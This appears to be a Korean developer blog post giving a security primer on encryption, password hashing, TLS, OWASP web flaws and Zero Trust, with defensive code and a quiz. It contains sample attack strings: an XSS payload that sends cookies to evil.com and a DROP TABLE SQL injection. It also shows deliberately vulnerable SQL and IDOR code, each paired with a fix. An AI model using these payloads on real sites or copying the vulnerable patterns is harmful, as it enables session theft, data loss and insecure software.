Skip to content
Published on

개발자를 위한 보안 완전 가이드 — 암호화부터 Zero Trust까지

Authors
  • Name
    Twitter
Security Fundamentals

들어가며

"보안은 보안팀이 하는 거 아닌가요?" — 아닙니다. 코드를 쓰는 모든 개발자가 보안의 첫 번째 방어선입니다.

SQL Injection 하나로 수백만 건의 개인정보가 유출되고, XSS 하나로 사용자 세션이 탈취됩니다. 이 글에서 개발자가 반드시 알아야 할 보안 개념을 총정리합니다.

Part 1: 암호화 (Cryptography)

대칭키 암호화 (AES)

from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# === Fernet (간단한 대칭키) ===
key = Fernet.generate_key()
f = Fernet(key)

plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext  # ✅

# === AES-256-GCM (실무 표준) ===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12)  # 96-bit nonce (매번 새로!)

# 암호화 + 인증 (AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata")  # 복호화 + 무결성 검증
대칭키: 같은 키로 암호화/복호화
장점: 빠름 (AES-256: ~1 GB/s)
단점: 키 전달 문제 (어떻게 안전하게 키를 공유?)
용도: 데이터 암호화, 디스크 암호화, TLS 데이터 전송

비대칭키 암호화 (RSA, ECDSA)

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

# 키 쌍 생성
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

# 암호화 (공개키로)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

# 복호화 (개인키로)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
))
assert plaintext == message  # ✅
비대칭키: 공개키(암호화) + 개인키(복호화)
장점: 키 교환 문제 해결 (공개키는 공개해도 OK)
단점: 느림 (RSA: ~1 KB/s, AES 대비 1000x 느림)
용도: TLS 키 교환, 전자 서명, SSH 인증

해싱 (Hashing) — 비밀번호 저장

import hashlib
import bcrypt

# ❌ 절대 하면 안 되는 것: 평문 저장
password = "mypassword123"

# ❌ 단순 해시 (레인보우 테이블 공격에 취약)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()

# ✅ bcrypt (솔트 + 느린 해싱 = 안전!)
salt = bcrypt.gensalt(rounds=12)  # 솔트 생성 (2^12 반복)
hashed = bcrypt.hashpw(password.encode(), salt)

# 검증
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"비밀번호 일치: {is_valid}")  # True

# bcrypt가 안전한 이유:
# 1. 솔트: 같은 비밀번호도 다른 해시 → 레인보우 테이블 무력화
# 2. 느림: 의도적으로 느려서 브루트포스 방어 (GPU 공격 방어)
# 3. rounds 조절: 하드웨어 발전에 맞춰 난이도 증가

TLS 핸드셰이크 (HTTPS)

[Client]                          [Server]
    │                                │
    │── ClientHello ────────────────▶│  지원 암호 스위트 목록
    │                                │
    │◀── ServerHello + 인증서 ───────│  선택된 암호 + 서버 인증서
    │                                │
    │  서버 인증서 검증 (CA 체인)    │                                │
    │── Key Exchange ───────────────▶│  ECDHE 공개값
    │◀── Key Exchange ───────────────│  서버 ECDHE 공개값
    │                                │
    ╔════════════════════════════════╗
    ║  양쪽 모두 같은 대칭키 도출!      (Diffie-Hellman)    ╚════════════════════════════════╝
    │                                │
    │◄══ AES-256-GCM 암호화 통신 ══▶│

Part 2: 웹 보안 (OWASP Top 10)

SQL Injection

# ❌ 위험한 코드
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# → SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# → 테이블 삭제!

# ✅ 파라미터 바인딩 (Prepared Statement)
cursor.execute(
    "SELECT * FROM users WHERE username = %s",
    (username,)  # 입력을 데이터로만 취급, SQL로 해석 안 함
)

# ✅ ORM 사용 (SQLAlchemy, Django ORM)
user = User.query.filter_by(username=username).first()

XSS (Cross-Site Scripting)

# ❌ 위험한 코드 (사용자 입력을 그대로 출력)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

# HTML에 그대로 삽입하면:
html = f"<div>{comment}</div>"
# → 쿠키 탈취!

# ✅ HTML 이스케이프
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# → &lt;script&gt;... (실행 안 됨)

# ✅ CSP (Content Security Policy) 헤더
# Content-Security-Policy: script-src 'self'; object-src 'none';

CSRF (Cross-Site Request Forgery)

# 공격: 사용자가 로그인 상태에서 악성 사이트 방문
# 악성 사이트에 숨겨진 폼이 자동으로 은행 이체 요청!

# ✅ CSRF 토큰 방어
from flask import Flask, session
import secrets

app = Flask(__name__)

@app.route('/transfer', methods=['POST'])
def transfer():
    # 토큰 검증
    if request.form['csrf_token'] != session['csrf_token']:
        abort(403)  # CSRF 공격 차단!

    # 정상 처리
    process_transfer(request.form)

# ✅ SameSite 쿠키
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly

인증/인가 취약점

# ❌ IDOR (Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
    return User.query.get(user_id).to_dict()
    # user_id를 바꾸면 다른 사람 정보 조회 가능!

# ✅ 권한 검증 추가
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
    if current_user.id != int(user_id) and not current_user.is_admin:
        abort(403)  # 권한 없음!
    return User.query.get(user_id).to_dict()

Part 3: Zero Trust 아키텍처

전통 보안: "성벽 안은 안전" (Castle & Moat)
  [인터넷] ──[방화벽]── [내부 네트워크: 모두 신뢰]
  → 내부 침입 시 무방비!

Zero Trust: "아무도 믿지 않는다"
  [모든 요청][인증][인가][암호화][모니터링]
  → 내부든 외부든 매번 검증!

Zero Trust 원칙

1. Verify Explicitly (명시적 검증)
   → 모든 요청에 인증 + 인가 (위치/네트워크 무관)

2. Least Privilege (최소 권한)
   → 필요한 것만, 필요한 시간만 접근 허용
JIT (Just-In-Time) 권한 부여

3. Assume Breach (침해 가정)
   → 이미 뚫렸다고 가정하고 설계
   → 마이크로 세그멘테이션, 암호화, 모니터링
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-policy
spec:
  podSelector:
    matchLabels:
      app: api-server
  policyTypes:
    - Ingress
    - Egress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app: frontend # 프론트엔드에서만 접근 허용
      ports:
        - port: 8080
  egress:
    - to:
        - podSelector:
            matchLabels:
              app: database # DB에만 접근 허용
      ports:
        - port: 5432
  # 나머지 모든 트래픽: 차단!

보안 체크리스트

[인증/인가]
✅ bcrypt/Argon2로 비밀번호 해싱 (SHA256 단독 사용 금지)
JWT 서명 검증 + 만료 시간 설정
OAuth 2.0 PKCE (SPA/모바일)
MFA (다중 인증) 도입
Rate Limiting (브루트포스 방어)

[입력 검증]
SQL Injection: Prepared Statement / ORM
XSS: HTML 이스케이프 + CSP 헤더
CSRF: SameSite 쿠키 + CSRF 토큰
Path Traversal: 파일명 검증
SSRF: 내부 IP 차단

[통신/저장]
HTTPS 필수 (TLS 1.3)
HSTS 헤더
✅ 민감 데이터 암호화 (AES-256-GCM)
✅ 시크릿 관리: Vault / AWS Secrets Manager
✅ 로그에 비밀번호/토큰 절대 기록 금지

[인프라]
Zero Trust 네트워크
✅ 컨테이너 이미지 스캔 (Trivy)
✅ 의존성 취약점 스캔 (Dependabot)
WAF (Web Application Firewall)
✅ 침입 탐지/모니터링

📝 퀴즈 — 보안 (클릭해서 확인!)

Q1. 대칭키와 비대칭키 암호화의 차이와 각각의 용도는? ||대칭키: 같은 키로 암호화/복호화, 빠름 (AES) — 데이터 전송/저장 암호화. 비대칭키: 공개키/개인키 쌍, 느림 (RSA) — 키 교환, 전자 서명||

Q2. bcrypt가 SHA-256보다 비밀번호 저장에 안전한 이유는? ||1) 솔트로 레인보우 테이블 무력화 2) 의도적으로 느린 해싱으로 브루트포스 방어 3) rounds 조절로 미래 하드웨어 발전 대응||

Q3. SQL Injection의 근본 원인과 방어법은? ||근본 원인: 사용자 입력이 SQL 쿼리의 일부로 해석됨. 방어: Prepared Statement(파라미터 바인딩)으로 입력을 데이터로만 취급||

Q4. XSS와 CSRF의 차이는? ||XSS: 공격자의 스크립트가 피해자 브라우저에서 실행. CSRF: 피해자의 인증된 세션으로 공격자가 원하는 요청을 전송. XSS는 클라이언트, CSRF는 서버를 속이는 공격||

Q5. TLS 핸드셰이크에서 대칭키와 비대칭키가 각각 쓰이는 단계는? ||비대칭키: 핸드셰이크 단계에서 키 교환(ECDHE). 대칭키(AES): 데이터 전송 단계. 비대칭키로 안전하게 대칭키를 합의한 후, 빠른 대칭키로 실제 통신||

Q6. Zero Trust의 3원칙은? ||1) Verify Explicitly: 모든 요청을 명시적으로 인증/인가 2) Least Privilege: 최소 권한만 부여 3) Assume Breach: 이미 침해됐다고 가정하고 설계||

Q7. HSTS 헤더의 역할은? ||브라우저에게 해당 도메인은 HTTPS로만 접속하라고 지시. HTTP → HTTPS 리다이렉트 중 발생할 수 있는 중간자 공격 방지||